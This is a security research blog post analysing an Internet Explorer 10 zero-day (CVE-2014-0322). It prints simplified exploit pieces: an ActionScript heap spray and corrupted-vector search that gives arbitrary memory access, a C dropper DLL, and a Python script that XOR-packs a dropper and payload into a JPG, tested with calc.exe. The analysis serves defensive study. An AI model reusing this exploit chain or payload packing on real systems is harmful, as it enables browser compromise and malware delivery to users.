Skip to content
February 25, 2014 / Vadim Kotov

Dissecting the newest IE10 0-day exploit (CVE-2014-0322)

Few days ago the news about a fresh Internet Explorer 10 zero-day exploit popped up. Now the exploit code is publicly available and we managed to analyze the vulnerability and find out some details that were not mentioned so far.  At the time of writing this blog, this exploit is still unpatched.

We tested the exploit on Windows 7 SP1 Enterprise 32 bit with several versions of Flash Player (10, 11 and 12). The code provided in the article was derived from the actual exploit but we simplified it and gave some meaningful names to the variables.

General diagram of the attack looks like this:

General overview of the attack

 

 

First, let’s see the vulnerability itself. To do that we need to get rid of the flash part and call the vulnerable function explicitly:

<body onLoad = "puIHa3()">

We set up a simple python web server (python.exe –m SimpleHTTPServer 8080) and ran IE10 in WinDbg by issuing this command:

windbg.exe –g –hd –o “C:\Program Files\Internet Explorer\iexplore.exe” http://localhost:8080/ie10_0day.html

Soon after the page loads, the exception occurs somewhere at MSHTML.DLL offset 281b97:

inc dword ptr [eax+10h]

EAX here points at the heap address 0x1a1b2000, the one provided in the exploit code as (0x1a1b2000 – 0x10). Apparently whoever found this vulnerability had figured that it is suited for a Flash based ASLR bypass.

We noticed that in 6-7 cases out of 10, Internet Explorer would crash before reaching the vulnerable condition. It may work better on other versions of Windows, but in our set up it is not very reliable.

The exploitation method is well described here and here.  The exploit leverages the way Action Script 3 Vector class instance is allocated in the memory. The heap spray instances are aligned at 0x1000 boundaries so that when a big enough spray is provided, one of the allocations will end up at 0x1a1b2000 with high probability.  This approach is not reliable, because in the presence of better randomization, the heap may not align.

This piece of the Action Script 3 code:


this.s = new Vector.<Object>(98688);

for (i=0; i < 98688; i++)
{
    this.s[i] = new Vector.<uint>(1022);
    this.s[i][0] = 0xDEADBEE1;
    this.s[i][2] = 0x1a1b2000;
    this.s[i][3] = 0x1a1b2000;
    this.s[i][110] = 0;
    this.s[i][186] = 0x41414141;
}

produces the following memory layout repeating every 0x1000 bytes:

1a1b2000 fe 03 00 00 00 20 55 0d e1 be ad de  ..... U.....
1a1b200c 00 00 00 00 00 20 1b 1a 00 20 1b 1a  ..... ... ..
*
1a1b12ec 00 00 00 00 41 41 41 41 00 00 00 00  ....AAAA....
1a1b12f8 00 00 00 00 00 00 00 00 00 00 00 00  ............

The way Vector objects are handled is a bit different in the versions of the player prior to 11, so the exploit will not work on Flash 10.

The IE portion of the exploit can increment the doubleword 0x000003FE, which corresponds to the size of the vector.  According to the AS3 documentation a Vector is a dense array, and accesses to its instances are boundary checked. So incrementing the size will allow an attacker to modify one doubleword beyond the vector boundaries. This doubleword is the size of the next vector. Now the attacker can assign it some big number and access the whole process memory.  This creates a R/W exploit primitive, which should allow for a more reliable exploit to be created.

But how does the attacker know which vector was affected by the vulnerability? Or in other words, which element is at 0x1a1b2000? To find this out, the attacker’s AS3 code simply iterates through the parent vector (referenced as this.s in the code above) and stops when the current vector length is bigger than 0x03FE.

Let’s examine how this search procedure looks:

// Looking for affected vector

for (i = 0; i < 0x18180; ++i){     if (this.s[i].length > 1022)
        break;
}

// This element is now writable since
// the length of the vector is 1023

this.s[i][1022] = 0x3FFFFFF0;

Now the next vector element can access 0x3FFFFFF0 bytes of memory starting from its first element.  This enables the exploit to iterate through memory and find the necessary ROP gadgets.To start the exploit, the toString() method of the Sound class is overwritten.

The actual malicious payload is stored in the JPG image that flash downloads and stores as a byte array (which is an array of binary data in AS3).  We don’t have the image so we had to reverse the image format via shellcode analysis. It has the following structure:

  • 36321 bytes of data (possibly legitimate image bytes);
  • 4 bytes size of two payloads (it’s there for decryption purposes);
  • 4 bytes size of the dropper (supposedly a DLL);
  • 4 bytes size of the malware binary;
  • Dropper XOR-encrypted with key 0x95
  • Malware binary XOR-encrypted with key 0x95

First the shellcode decrypts the payloads and then writes both to files (that’s why the sizes of each payload were provided).  The target path is obtained via GetTempPath function. Dropper is named sqlrenew.txt and malware binary stream.exe. After writing data on disk it calls LoadLibrary and passes sqlrenew.txt as an argument.

In order to reproduce the attack we prepared a simple DLL that would execute stream.exe:

#include
#include
#include

#define BUFFLEN 256
#define NAME "\stream.exe"

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
    char buf[BUFFLEN];
    int len;
    if (fdwReason == DLL_PROCESS_ATTACH){
        len = GetTempPath(BUFFLEN, buf);
        strncpy(&buf[len], NAME, strlen(NAME));
        WinExec(buf, SW_SHOWNORMAL);
    }
    return TRUE;
};

To test successful exploitation, we took calc.exe as our neutralized payload. Now, we pack everything into the image and we wrote a python script:

import struct

KEY = 0x95
OFFSET = 36321
DLL = 'dll.dll'
MALWARE = 'calc.exe'

def read_file(path):
    fd = open(path, 'rb')
    data = fd.read()
    fd.close()
    return data

def encrypt(data):
    encr_data = []
    for byte_ in data:
        if ord(byte_) == 0 or ord(byte_) == KEY:
            out_byte = byte_
        else:
            out_byte = chr(ord(byte_)^KEY)
        encr_data.append(out_byte)

    return ''.join(encr_data)

outfd = open('Erido.jpg', 'wb')

outfd.write('A'*OFFSET)

dll = read_file(DLL)
mw = read_file(MALWARE)

dll_len = len(dll)
mw_len = len(mw)

total_len_packed = struct.pack('<I', dll_len+mw_len)
dll_len_packed = struct.pack('<I', dll_len)
mw_len_packed = struct.pack('<I', mw_len)

outfd.write (  total_len_packed )
outfd.write (  dll_len_packed )
outfd.write (  mw_len_packed )
outfd.write( encrypt(dll) )
outfd.write( encrypt(mw) )

outfd.close()

Thus the exploit first loads a DLL which calls calc.exe:

Calc.exe launched by exploit

Naturally we managed to test this exploit in vSentry. The attack was successfully detected and isolated. All users using the vSentry product are obviously protected from this attack (and future unseen attacks). Below is the brief LAVA trace which we saw after reproducing the exploit successfully.

Lava graph

Interestingly, we had to do some work to make this exploit work. It would crash before reaching the vulnerability condition, producing an error like this:

eax=00000000 ebx=29e62fa0 ecx=00000000 edx=0f0cecc0 esi=0f0cecc0 edi=0c264f50
eip=66621ba9 esp=0552991c ebp=05529988 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00050246
MSHTML+0x281ba9:
66621ba9 83b8c001000000  cmp     dword ptr [eax+1C0h],0 ds:0023:000001c0=????????

We could only make it work after increasing the first allocation by IE from 0x250 to 0x260 in this snippet (arrLen is the variable whose value we changed):

for (a = 0; a < arrLen; ++a) {
    g_arr[a] = document.createElement('div')
};

Furthermore, this exploit would also crash in the middle of Flash DLL in the Player v. 11 despite the correct and seemingly exploitable memory layout.

These little issues further prove the point that either the exploit writers didn’t spend enough time perfecting the exploit or perhaps they were in a hurry to get it deployed? But then again, bad guys don’t need to infect all users, just few are enough to make reasonable profits.

We expect that there is a considerable risk of a more advanced version of this exploit coming up in the wild.  One of Bromium Labs researchers, Jared DeMott, recently discussed how to bypass EMET, which is currently listed as one of the recommended tools to mitigate this zero day exploit.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: